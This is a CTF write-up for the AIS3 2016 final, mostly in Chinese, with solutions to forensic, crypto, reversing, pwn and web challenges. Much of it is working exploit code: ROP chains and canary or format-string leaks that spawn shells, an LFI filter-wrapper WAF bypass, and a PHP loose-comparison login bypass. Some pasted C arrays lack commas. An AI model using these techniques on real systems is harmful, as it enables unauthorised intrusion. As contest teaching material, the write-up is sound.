AIS3 2016 Final CTF Writeup
我把這份文件改成唯獨了,想要修改請聯絡助教(Inndy)

歡迎大家提供其他的解法!

Misc1

Throw the ball to the pokemon! http://pastebin.com/raw/eYueLrKx

begin 644 → Uuencoding
Online unencoding decoding: http://www.webutils.pl/index.php?idx=uu

Solution 1 - 兩張圖相疊後可得(需支援透明圖層)


  • apt-get install gimp

Solution 2 - XOR

Solution 3 - DIFF門薩認證

Solution 4 - compare

compare -compose src pub_ball.png pub_mon.png out.png

 Misc 2

What is the IP address where the malware sends data?

Solution 1

用 jadx 解出 source code
grep '\d+\.\d+\.\d+\.\d+' -r source_code 

Solution 2

以身試毒

Misc 3

What is a suspicious string in the Android memory dump (18 characters including English letters and punctuation)?

Crypto 1 (Forensic)

What is the email account of the facebook user?
/data/data/com.facebook/com.facebook.katana/databases/prefs_db 
  • also can use teacher’s tool 
  • python sqlparse_v1.3.py -f prefs_db -o ans.txt
  • 無聊順帶一提題目的facebook真實存在

其實在/data/system/users/0/accounts.db 有所有的account資訊,不只FB還有Google

其實 grep -r 'gmail.com' * 就出來了(誒

Crypto 2

類似 SSL 的 CRIME Attack:https://en.wikipedia.org/wiki/CRIME

from pwn import *
import time

context(log_level='ERROR')  # disable annoying log from pwn tools

def test(data):
    while True:
        try:
            io = remote('final.ais3.org', 40051)
            io.sendline(data)
            io.recvuntil('Your ciphertext is: ')
            ret = io.recvline()[:-1]
            io.close()
            return ret
        except:
            time.sleep(2)

def mix(a, b):
    return [ i if i != '*' else j for i, j in zip(a, b) ]

def recovery(data):
    curr = list(test(data))
    while any(i for i in curr if i == '*'):
        curr = mix(curr, list(test(data)))
    ret = ''.join(curr)
    return ret

def run(char):
    print('running ... %s' % char)
    return recovery(char)

printable = ''.join(map(chr, range(0x20, 0x7f)))

flag = 'ais3{' # 'C4reful_0f_c0'
while True:
    len_guess_mapping = {}  # length -> guess string
    for guess in printable:
        test_string = flag + guess
        length = len(run(test_string).decode('base64'))
        len_guess_mapping[length] = test_string
    flag = len_guess_mapping[min(len_guess_mapping)]
    print(flag)
    if '}' in flag:
        break

Crypto 3

# exploit from Lays (https://gist.github.com/L4ys/746abec527034e8a6a2999bbbe10a6c3)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *   # pip install pwntools
sha1 = pwnlib.util.hashes.sha1sum

r = remote("localhost", 4000)
# r = process("./stack_guard")
libc = ELF("./libc.so.6")

et = ""

# read 1200 bytes from et
for i in range(75):
    r.sendline("")
    r.recvuntil("canary: ")
    data = r.recvline()[:-1]
    et += unhex(data)

log.info("%d bytes read" % len(et))

# calc next canary
canary = sha1(et[1180:1200] + et[600:644])[:16]
log.info("next canary=%s" % enhex(canary))

# rop
buf = 0x602360
puts = 0x4008A0
read = 0x4008F0
pop_rdi = 0x400fd3
pop_rsi_r15 = 0x400fd1
pop_rbp = 0x4009e0
leave = 0x400b5b

payload = "A" * 256 + canary + "A" * 8

# puts("gg")
payload += p64(pop_rdi) + p64(0x400FF8) # gg
payload += p64(puts)
# puts(puts@got)
payload += p64(pop_rdi) + p64(0x602028) # puts
payload += p64(puts)
# read(0, buf, rdx)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(buf) + p64(0)
payload += p64(read)
# pivot
payload += p64(pop_rbp) + p64(buf)
payload += p64(leave)
r.sendline(payload)

r.recvuntil("gg\n")
libc_puts = u64(r.recv(8)[:-1].ljust(8, "\0"))
libc_base = libc_puts - libc.symbols["puts"]
log.info("libc_base = " + hex(libc_base))

libc_system = libc_base + libc.symbols["system"]
libc_sh = libc_base + next(libc.search('sh\x00'))

# system("sh")
payload = p64(0)
payload += p64(pop_rdi) + p64(libc_sh)
payload += p64(libc_system)

r.sendline(payload)
r.sendline("id")
r.interactive()

Binary 1

Solution 1

flag_check = [0x32, 0x21, 0x3b, 0x1c, 0xe0, 0x39, 0x74, 0xa0, 0x62, 0x81, 0xfe, 0x1c, 0xf7, 0x66, 0x62, 0x03, 0xe0, 0x2d, 0x63, 0x68, 0xd0, 0xb5, 0x6b, 0xed, 0x89, 0x35, 0x45, 0xff, 0x32, 0x12, 0xb6, 0x93]
table = 'qwertyuiopasdfghjklzxcvbnm'

key = 'thisisthekey'

a = range(256)
sum = 0
for i in xrange(256):
  sum += a[i] + ord(key[i % len(key)])
  sum %= 256
  a[i], a[sum] = a[sum], a[i]

suma = 0
index = 0

flag_xor = ''
for i in xrange(len(flag_check)):
  index += 1
  index %= 256
  suma = suma + a[index]
  suma %= 256
  a[index], a[suma] = a[suma], a[index]
  temp = a[suma] + a[index]
  temp %= 256
  flag_xor += chr(flag_check[i] ^ a[temp])

print flag_xor

flag = ''
for i in flag_xor:
  if i.islower():
    flag += chr(table.index(i) + 97)
  else:
    flag += i
print "flag:", flag

Solution 2

#!/usr/bin/env python3
# solved by Inndy
from Crypto.Cipher import ARC4  # pip3 install pycrypto

crypted = [
    0x32, 0x21, 0x3B, 0x1C, 0xE0, 0x39, 0x74, 0xA0,
    0x62, 0x81, 0xFE, 0x1C, 0xF7, 0x66, 0x62, 0x03,
    0xE0, 0x2D, 0x63, 0x68, 0xD0, 0xB5, 0x6B, 0xED,
    0x89, 0x35, 0x45, 0xFF, 0x32, 0x12, 0xB6, 0x93
]

cipher = ARC4.new(b'thisisthekey')
decrypted = cipher.encrypt(bytes(crypted))
rev_map = str.maketrans(
    'qwertyuiopasdfghjklzxcvbnm',
    'abcdefghijklmnopqrstuvwxyz'
)
flag = decrypted.decode('ascii').translate(rev_map)
print(flag) # ais3{canyoucatchhundredmagikarp}

Binary 2

import os
import base64

flag = bytearray('ais3{{{{{{{{{{{{{{{{{{{{}')
'                      1234567890123456789'

def guess(flag):
    flag = str(flag)
    print(flag)
    os.system("echo '%s' | base64 -d | ./pin -t /home/inndy/pin-3.0-76991-gcc-linux/source/tools/ManualExamples/obj-intel64/inscount0.so -- ../rev2" % base64.b64encode(flag + '\n'))
    return int(open('inscount.out').read().split()[-1])

base = guess(flag)
for idx in range(5, 5+19):
    found = False
    for i in range(0x20, 0x7f):
        flag[idx] = chr(i)
        curr = guess(flag)
        print('diff: %d' % (curr - base))
        if curr - base > 60000:
            base = curr
            found = True
            break
    if not found:
        print('Error')
        exit()

Binary 3

#include <stdio.h>
#include <string.h>

int count = 0;

char flag[45] = {
    0x2B, 0x39, 0x34, 0x4E, 0x64, 0x54, 0x79, 0x79, 0x71, 0x56, 0x4E, 0x70, 0x53, 0x47, 0x74, 0x76
    0x64, 0x68, 0x68, 0x66, 0x6F, 0x44, 0x6D, 0x43, 0x79, 0x73, 0x49, 0x75, 0x49, 0x6A, 0x42, 0x64
    0x51, 0x2B, 0x57, 0x35, 0x73, 0x48, 0x36, 0x73, 0x7A, 0x67, 0x4D, 0x3D, 0x00
};

int cp[255] = {
    0x1251232B, 0x000093EF, 0x000305C7, 0x0009A058, 0x000CB965, 0x0005CDAF, 0x000467F2, 0x000C392F
    0x00014488, 0x000C60B1, 0x00038119, 0x0009634E, 0x00058388, 0x0009CC26, 0x0002A25C, 0x000BACDA
    0x00056BF5, 0x000AF551, 0x0006BF80, 0x0009E2CC, 0x00025406, 0x0003A67D, 0x00075CA6, 0x0002ED27
    0x000CDDBC, 0x000D3351, 0x0007709D, 0x00041211, 0x000513EF, 0x0000FAC8, 0x000AC84E, 0x0005E510
    0x00011989, 0x000C5589, 0x0009639D, 0x000D186B, 0x000D65C4, 0x0008101A, 0x0000AF2E, 0x00091CF4
    0x000C4C30, 0x0008E396, 0x0009E45F, 0x00043B13, 0x0002C6E0, 0x000069CD, 0x0006B017, 0x00079B6A
    0x000A2093, 0x0006715A, 0x0008FB5C, 0x0009654D, 0x0002E2BF, 0x00008AA9, 0x0004D53D, 0x0002825F
    0x0001FB79, 0x00050855, 0x0003CCE3, 0x00066135, 0x0006CC49, 0x00022F7B, 0x000CDE7F, 0x000D0A14
    0x000691D5, 0x0006FD06, 0x000D125A, 0x000B369D, 0x0000BE6C, 0x0004E863, 0x000BD48A, 0x0008A204
    0x000588B0, 0x00067FFB, 0x0009B03C, 0x000CF26D, 0x000ACB5B, 0x0004AF79, 0x00088DB0, 0x00075FBC
    0x000C4C80, 0x0005B647, 0x00074318, 0x0008E349, 0x0002630F, 0x000CB627, 0x0006F696, 0x0002A8F3
    0x0004BEA0, 0x00062B7A, 0x000914A6, 0x0001A08B, 0x0006C60D, 0x0009A8F7, 0x000DB781, 0x0005E80D
    0x000282DF, 0x00068DCF, 0x000D43A5, 0x00077023, 0x0009E373, 0x0009FF05, 0x00081477, 0x000A4D46
    0x0001BF04, 0x000B25D1, 0x0004C6BB, 0x000496F4, 0x000C1C0B, 0x00045641, 0x000AFC87, 0x000A976B
    0x00094655, 0x0002A419, 0x000AFEC3, 0x000091A4, 0x000B5B26, 0x000BA36F, 0x000B5F61, 0x0009ED78
    0x000C02C1, 0x00025F68, 0x000D8A76, 0x000ABB06, 0x000D41CE, 0x00027348, 0x000287E4, 0x000B565B
    0x000BF2F0, 0x000AB8FB, 0x000BD4D8, 0x0008BD9F, 0x00034D4E, 0x00030D90, 0x00089F65, 0x0007A3AD
    0x00091915, 0x00011915, 0x0000A2E3, 0x000CFCDA, 0x000A691C, 0x00057458, 0x000127F4, 0x0006EDDA
    0x000A470C, 0x00065217, 0x0005B566, 0x0002C52C, 0x0005533F, 0x000253AD, 0x000684EA, 0x00026016
    0x000CFE11, 0x0004C9F6, 0x00017955, 0x000A1C6F, 0x00026710, 0x00027B9A, 0x0003FBB5, 0x00045F1D
    0x0009EC51, 0x000A0359, 0x000BAE67, 0x00083518, 0x0002430C, 0x000B85B0, 0x0001080B, 0x000CF573
    0x00048C7B, 0x000974B2, 0x00072DDC, 0x0001715B, 0x00008A73, 0x00092E7E, 0x0001AAE1, 0x000BD59E
    0x000BD0B0, 0x0001B475, 0x000026B2, 0x0006F94C, 0x00047994, 0x0006FF8D, 0x0008B119, 0x0000CF67
    0x000690FC, 0x000B8A0F, 0x000638D4, 0x0008B8D1, 0x000744CB, 0x00012623, 0x0006637B, 0x000584EF
    0x000BB30E, 0x0005C09A, 0x0001EA5F, 0x0005F749, 0x0000DB4E, 0x000BD167, 0x0000B620, 0x0005B4CF
    0x0002CC71, 0x00073FF0, 0x0009D5D1, 0x00064CD9, 0x000DA131, 0x00066CC6, 0x00060579, 0x0003F058
    0x000643DD, 0x0004BCF1, 0x0002B41C, 0x000C942D, 0x000CB1BB, 0x0007FE66, 0x00022E1B, 0x00011854
    0x0008C394, 0x00056E90, 0x0000F138, 0x0002575E, 0x00005CB7, 0x0003C508, 0x0003CA88, 0x000A637D
    0x0008F2A5, 0x000949F7, 0x0001ABD2, 0x000798CF, 0x000620AD, 0x0001B517, 0x000B5B91, 0x0009D246
    0x0005168E, 0x0008A330, 0x00051AF4, 0x000790C4, 0x0007F50E, 0x000BC531, 0x000CCA86, 0x0004EEED
    0x00038E05, 0x0000472B, 0x0008F53A, 0x00062406, 0x0003F960, 0x0002339A, 0x00091471, 0x0001378D
    0x000D888C, 0x0003C05C, 0x0007E149, 0x0005CC73, 0x00082432, 0x00097D89, 0x000DA0E3
};

int should(int count, signed int val)
{
        switch ( count )
        {
                case 0:  return 18492 * ((val ^ 62       * flag[3])  - val / flag[4]   + 5    * flag[1]);
                case 1:  return 812   * ((val ^ 123      * flag[3])  - val / flag[5]   + 52   * flag[7]);
                case 2:  return 156   * ((val ^ 99       * flag[8])  + val / flag[1]   + -13  * flag[13]);
                case 3:  return 914   * ((val ^ 87       * flag[16]) + val / flag[9]   + -50  * flag[4]);
                case 4:  return 7613  * ((val ^ 22       * flag[2])  + val / flag[7]   + -34  * flag[18]);
                case 5:  return 8461  * ((val ^ 101      * flag[43]) + val / flag[16]  + -63  * flag[11]);
                case 6:  return 13442 * ((val ^ 131      * flag[15]) + val / flag[29]  + -109 * flag[0]);
                case 7:  return 769   * ((val ^ 72       * flag[33]) + val / flag[12]  + -22  * flag[26]);
                case 8:  return 1563  * (val  / flag[2]  + (val      ^ 57  * flag[17]) + -32  * flag[31]);
                case 9:  return 1269  * ((val ^ 34       * flag[17]) + val / flag[16]  + -88  * flag[40]);
                case 10: return 776   * ((val ^ 69       * flag[29]) + val / flag[14]  + -132 * flag[13]);
                case 11: return 913   * ((val ^ 13       * flag[26]) + val / flag[6]   + -98  * flag[8]);
                case 12: return 445   * ((val ^ 20       * flag[7])  + val / flag[14]  + -46  * flag[24]);
                case 13: return 701   * ((val ^ 31       * flag[42]) + val / flag[17]  + -91  * flag[6]);
                case 14: return 16803 * ((val ^ 191      * flag[1])  + val / flag[18]  + -154 * flag[20]);
                case 15: return 3331  * (val  / flag[36] + (val      ^ 205 * flag[27]) + -32  * flag[10]);
        }
        return -1;
}

void shuffle(int val)
{
        if ( count == 0 )
        {
                flag[5] ^= val;
                flag[10] ^= val;
                flag[13] ^= val;
        }
        if ( count == 1 )
        {
                flag[1] ^= val;
                flag[8] ^= val;
                flag[2] ^= val;
        }
        if ( count == 2 )
        {
                flag[3] ^= val;
                flag[4] ^= val;
                flag[18] ^= val;
        }
        if ( count == 3 )
        {
                flag[7] ^= val;
                flag[2] ^= val;
                flag[9] ^= val;
        }
        if ( count == 4 )
        {
                flag[11] ^= val;
                flag[16] ^= val;
                flag[21] ^= val;
        }
        if ( count == 5 )
        {
                flag[35] ^= val;
                flag[15] ^= val;
                flag[29] ^= val;
        }
        if ( count == 6 )
        {
                flag[26] ^= val;
                flag[17] ^= val;
                flag[10] ^= val;
        }
        if ( count == 7 )
        {
                flag[43] ^= val;
                flag[38] ^= val;
                flag[22] ^= val;
        }
        if ( count == 8 )
        {
                flag[17] ^= val;
                flag[40] ^= val;
                flag[33] ^= val;
        }
        if ( count == 9 )
        {
                flag[29] ^= val;
                flag[38] ^= val;
                flag[26] ^= val;
        }
        if ( count == 10 )
        {
                flag[31] ^= val;
                flag[15] ^= val;
                flag[8] ^= val;
        }
        if ( count == 11 )
        {
                flag[14] ^= val;
                flag[7] ^= val;
                flag[22] ^= val;
        }
        if ( count == 12 )
        {
                flag[42] ^= val;
                flag[15] ^= val;
                flag[6] ^= val;
        }
        if ( count == 13 )
        {
                flag[1] ^= val;
                flag[19] ^= val;
                flag[4] ^= val;
        }
        if ( count == 14 )
        {
                flag[29] ^= val;
                flag[28] ^= val;
                flag[27] ^= val;
        }
        if ( count == 15 )
        {
                flag[34] ^= val;
                flag[35] ^= val;
                flag[36] ^= val;
        }
}

int check_cp(int cp)
{
        if ((count == 0  && should(count, cp) == 0xD3C0173C) ||
                (count == 1  && should(count, cp) == 0x0B9A29E0) ||
                (count == 2  && should(count, cp) == 0x017D1D34) ||
                (count == 3  && should(count, cp) == 0x02A27B74) ||
                (count == 4  && should(count, cp) == 0x42FF2CC3) ||
                (count == 5  && should(count, cp) == 0xF8B0D78E) ||
                (count == 6  && should(count, cp) == 0xA933E15C) ||
                (count == 7  && should(count, cp) == 0x257C579F) ||
                (count == 8  && should(count, cp) == 0x21EE75D4) ||
                (count == 9  && should(count, cp) == 0xEE120F66) ||
                (count == 10 && should(count, cp) == 0xF18AB6A8) ||
                (count == 11 && should(count, cp) == 0xD61C1854) ||
                (count == 12 && should(count, cp) == 0xEEDD6655) ||
                (count == 13 && should(count, cp) == 0x097A72E3) ||
                (count == 14 && should(count, cp) == 0xB5516C55) ||
                (count == 15 && should(count, cp) == 0xB9BD651F))
        {
                printf("count = %d, cp = %d\n", count, cp);
                shuffle(cp);
                count++;
                return 1;
        }
        return 0;
}

void gen_key()
{
        int wtf[16]; // [sp+4h] [bp-54h]@1
        int k; // [sp+44h] [bp-14h]@2
        int length; // [sp+48h] [bp-10h]@1
        int i; // [sp+4Ch] [bp-Ch]@1

        wtf[0] = 144;
        wtf[1] = 293;
        wtf[2] = 377;
        wtf[3] = 227;
        wtf[4] = 15;
        wtf[5] = -229;
        wtf[6] = 24;
        wtf[7] = 18;
        wtf[8] = 143;
        wtf[9] = 191;
        wtf[10] = 94;
        wtf[11] = 5;
        wtf[12] = -11;
        wtf[13] = -95;
        wtf[14] = 126;
        wtf[15] = 122;
        length = strlen(flag);
        for ( i = 0; i <= 15; ++i )
        {
                k = flag[(i + 1) % length] + flag[i % length] + flag[(i + 2) % length];
                wtf[i] ^= k;
        }
        printf("Oh! I think the key is: ");
        for ( i = 0; i <= 15; ++i )
                putchar(wtf[i]);
        putchar('\n');
        puts("The IV is the same as the key.");
}

int main()
{
        int i;
        while(count < 16) {
                for(i = 0; i < 256; i++) {
                        check_cp(cp[i]);
                }
        }
        gen_key();
}

from Crypto.Cipher import AES
import base64

iv = key = b'M59eFh3j4510Pa89'

aes = AES.new(key, AES.MODE_CBC, iv)
data = base64.b64decode('+94NdTyyqVNpSGtvdhhfoDmCysIuIjBdQ+W5sH6szgM=')
flag = aes.decrypt(data)
print(flag)

Remote 1

ais3{bkare4_the_USE_of_format_STRING!} 

from pwn import *
elf=ELF('./pwn1')
poprdiret=0x400903
sys=elf.plt["system"]
test=0x40078D

r=remote('final.ais3.org',32164)
print r.recvline()
print r.recvline()

#leak cookie
r.sendline("%11$llu")
cookie=int(r.recvline().split(" ")[5][:-1])
print hex(cookie)

#leak /bin/sh
r.sendline("%12$llu")
sh=int(r.recvline().split(" ")[5][:-1])-8
print hex(sh)

#break_while+cookie+sh_string+test讓system_got正確+gadget設定rdi+system
r.sendline("quit"+"A"*20+p64(cookie)+"/bin/sh\x00"+p64(test)+p64(poprdiret)+p64(sh)+p64(sys))
r.interactive()

# exploit from Inndy
from pwn import *

context(os='linux', arch='amd64')

#io = process('./pwn1')
io = remote('final.ais3.org', 32164)

# gdb.attach(io)

start = 0x00000000004006a0
pop_rdi = 0x0000000000400903
puts = 0x400610
system = 0x400630
_bin_sh = 0x400928
sig = "[type 'quit' to quit] prompt> "

def send(payload):
    io.sendline(payload)
    return io.recvuntil(sig)[:-len(sig)-1]

def rop(rochain):
    io.recvuntil("[type 'quit' to quit] prompt> ")
    canary = send('%11$p')
    canary = p64(int(canary, 16))
    send('A' * 24 + canary + 'A' * 8 + rochain)
    io.sendline('quit')
    io.recvuntil('bye!\n')

rop(p64(pop_rdi) + p64(_bin_sh) + p64(system))
io.interactive()

#def leak(addr):
#    print('0x%.16x' % addr)
#    rop(p64(pop_rdi) + p64(addr) + p64(puts) + p64(start))
#    data = io.recvline()[:-1] + '\0'
#    return data
#
#data = leak(0x601020) + '\0\0'
#puts = u64(data[:8])
#print('puts at %.16x' % puts)
#
#d = DynELF(leak, puts)
#system = d.lookup('system', 'libc')
#print(system)

Remote 2

這題只能蓋 rbp 和 一次 ret address,第一次讓 stack 移動到 bss section,第二次把 rop chain 寫到 bss 上,第三次 ret 到 rop chain 上面

# exploit from Inndy
from pwn import *

ropchain = p64(0x400623) + p64(0x400645) + p64(0x400430)
payload = 'A' * 44 + '\x2f' + p64(0x00601800) + p64(0x40056a)
payload += ropchain + 'B' * (44-24) + '\x2f' + p64(0x6017d0 - 8) + p64(0x4005b2)
open('payload', 'wb').write(payload)

io = remote('final.ais3.org', 35171)
io.sendline(payload)
io.interactive()

Remote 3

libc是我虛擬機的,比賽時沒解開(一直以為是heap….)
希望有人能幫我說明XDD

Exploit 1


#!/usr/bin/env python
#exploit from charles_yang
from pwn import *   # pip install pwntools

pop_rdi = 0x0000000000400f53# : pop rdi ; ret
puts = 0x4006f0
pop_rsi_r15 = 0x0000000000400f51# : pop rsi ; pop r15 ; ret
_start = 0x4007b0
def buy(num):
    r.sendline("1")
    r.recvuntil("Your choice:")
    r.sendline(num)
    r.recvrepeat(0.5)
def trans(num):
    r.sendline("2")
    r.recvuntil("Which pokemon do you want to transfer :")
    r.sendline(num)
    r.recvrepeat(0.5)
def rename(num,name):
    r.sendline("3")
    r.recvuntil("Which pokemon do you want to rename :")
    r.sendline(num)
    r.recvuntil("Name:")
    r.sendline(name)
    r.recvrepeat(0.5)
while(1):
    r = remote("localhost", 4000)
    r.recvrepeat(0.5)
    payload = "A"*40
    payload += p64(pop_rdi) + p64(0x602028)
    payload += p64(puts)
    payload += p64(_start)
    r.sendline(payload)
    r.recvuntil("Your choice")
    buy("4")
    rename("0","A"*128)
    r.sendline("4")
    try:
        puts_addr = u64(r.recvrepeat(0.5)[:6]+"\x00"*2)
        if  hex(puts_addr)[:4] != "0x7f":
            r.close()
            continue
        print hex(puts_addr)
        libc_base = puts_addr - 0x6b9f0
        system_addr = libc_base + 0x414f0
        sh_addr = libc_base + 0x161160
        print hex(libc_base)
        payload = "C"*72
        payload += p64(pop_rdi) + p64(sh_addr)
        payload += p64(pop_rsi_r15) + p64(0) + p64(0)
        payload += p64(system_addr)
        payload += "A"*8
        r.sendline(payload)
        r.recvuntil("Your choice")
        buy("4")
        rename("0","A"*128)
        r.sendline("4")
        r.interactive()
    except:
        r.close()  
        pass
        
        

Exploit 2

# exploit from Inndy
# notice: this exploit is untable and depend on ASLR, so please use attach.
# run with out ASLR may not work.
import time
from pwn import *

context(log_level = 'error')

# change these
#io = remote('127.0.0.1', 5566)
io = process('./pokeshop')
libc_puts = 0x677f0
libc_one_gadget = 0x3f41a

pop_rdi = 0x400f53
pop_rsi_r15 = 0x400f51
pop_rbp = 0x400810
ret = 0x400f54

start = 0x4007b0
read = 0x400720
scanf = 0x400780
puts = 0x4006f0
puts_got = 0x602028

str_p128s = 0x40134C

io.recvuntil('Your choice:')  # wait main menu
io.sendline('1')  # buy
io.recvuntil('Your choice:')  # buy menu
io.sendline('3')
io.recvuntil('Buy successful')

ropchain = ''.join(map(p64, [
    pop_rdi, puts_got, puts, start  # leak puts
]))
ropchain = (p64(ret) * (128 // 8) + ropchain)[-128:]

# currently in main function, leave ropchain on the local buffer.
# we will corrupt stack frame later and try to trigger this ropchain.
io.sendline(ropchain)

def do_rename():
    io.recvuntil('Your choice:')  # wait main menu
    io.sendline('3')  # rename
    io.recvuntil('Which pokemon do you want to rename :')
    io.sendline('0')
    io.recvuntil('Name:')
    io.sendline('A'*128)  # see 400dee, overwrite one null byte on saved rbp

do_rename()

#gdb.attach(io)
#raw_input('gdb attach and break on 0x400ee0')
io.recvuntil('Your choice:')  # wait main menu
io.sendline('4')  # exit

try:
    puts = u64(io.recvline()[:-1].ljust(8, '\0'))
except EOFError:
    puts = 0
if puts >> 40 != 0x7f:
    print('Fail at step 1')
    exit(1)
print('puts at 0x%.16x' % puts)
one_gadget = puts - libc_puts + libc_one_gadget
print('one gadget at 0x%.16x' % one_gadget)
ropchain = p64(one_gadget) * (128 // 8)
ropchain = ropchain[:128-40] + '\0' * 40

#gdb.attach(io)
#raw_input('gdb attach and break on 0x400ee0')

io.recvuntil('Your choice:')  # wait main menu
io.sendline(ropchain)
do_rename()
io.recvuntil('Your choice:')  # wait main menu
io.sendline('4')

time.sleep(0.5)
io.sendline('echo DONE')
try:
    line = io.recvline()
except EOFError:
    line = ''
if 'DONE' not in line:
    print('Fail at step 2')
    exit(1)
io.interactive()

這題的漏洞在 0x400dee 位置的 scanf("%128s", local_buff) ,會造成 1 null byte 的寫入,被覆蓋的東西是 saved rbp ,return 之後 stack 的位置會偏掉,有機會跑進 mainlocal_buff (所以在 main 的選單時,寫 ropchain 上去)

另一個技巧是 back to _start 可以做第二次的 rop,就不用做 stack migration

題目有給 libc,所以先 leak symbol 就可以直接 return2libc ,這裡我用的是 one gadget,Charles_Yang 用的是 system("sh") 

Web 1

db.js備份
db = [
    {username: "admin", password: "36d3e1bc65f8b67935ae60f542abef3e55c5bbbd547854966400cc4f022566cb"}
];

password: "36d3e1bc65f8b67935ae60f542abef3e55c5bbbd547854966400cc4f022566cb"
sha256解碼就得到密碼了(網路很多線上解密)  解密後: !@#$%^&*()_+ 

Web 2

login.php備份:
<?php
include "db.php";

session_start();

function success()
{
    echo json_encode(array("ret"=> "1", "msg" => "Success"));
    exit();
}

function err($s, $hint = "")
{
    if ($hint)
        echo json_encode(array("ret"=> "0", "msg" => $s, "hint" => $hint));
    else
        echo json_encode(array("ret"=> "0", "msg" => $s));
    exit();
}

function check_form($data)
{
    return is_array($data) && isset($data["username"]) && isset($data["password"]);
}

if ($_SERVER["REQUEST_METHOD"] === "POST")
{
    $data = json_decode(file_get_contents("php://input"), true);
    if (check_form($data))
    {
        // $db is defined in db.php
        foreach ($db as $user)
        {
            if($data["username"] == $user["username"] && $data["password"] == $user["password"])
            {
                $_SESSION["login"] = true;
                $_SESSION["level"] = 2;
                $_SESSION["username"] = $user["username"];
                success();
                break;
            }
        }
        err("Username or Password error");
    }
    else
        err("Invalid form", "Don't know what to do next? Get the source of login.php via sendding GET request to this page");
}
else
{
    echo "Don't know what to do next?</br></br> Read source of <code>login.php</code> here: </br>";
    show_source(__FILE__);
}
?>

"wtfpassword123123123123" == true 會過(弱型別比對)
"thisisp@55w0rdxddddd" === true 不會過(型別不同)

{"username":true,"password":true} 

Web 3

/?p=php://filter/convert.base64-encode/resource=index 

得到base64過的source,decode之後得到原始碼
<?php
error_reporting(0);
define("FROM_INDEX", "true");
include_once "utils.php";


/* for hackers:
 * In the AIS3 pre-exam last year, we know how to leak the source code by LFI.
 * But there is a WAF now, can you bypass it?
*/


function waf()
{
    $keywords = [
        'select',
        'union',
        // My mum said that a good coding style is reuse the exists code.
        // So I use SQLi WAF framework to find the query I want.
        'flag'
    ];

    foreach ($keywords as $key)
    {
        if (stristr($_SERVER['QUERY_STRING'], $key))
        {
            // only for "flag" page: only localhost admin can access it
            if ($key === "flag")
            {
                if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
                {
                    bad("You are not localhost admin.");
                }
            }
            else
            {
                hacker();
            }
        }
    }
}

waf();

if (!isset($_GET['p']))
    $_GET['p'] = 'welcome';

?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Snoopy Flag Service</title>
</head>
<body>
<h1>Snoopy Flag Service</h1>
<ul>
<li><a href="?p=welcome">Index</li>
<li><a href="?p=snoopy">Flag</a></li>
<!-- Only localhost admin can access it, I write a WAF for that. -->
<!-- <li><a href="?p=flag">Flag</a></li> -->
</ul>

<?php
include $_GET['p'] . '.php';
?>
</body>
</html>

發現有針對flag做WAF,於是輸入

/?p=php://filter/convert.base64-encode/resource=%66lag 

base64 decode之後得到flag.php的source code。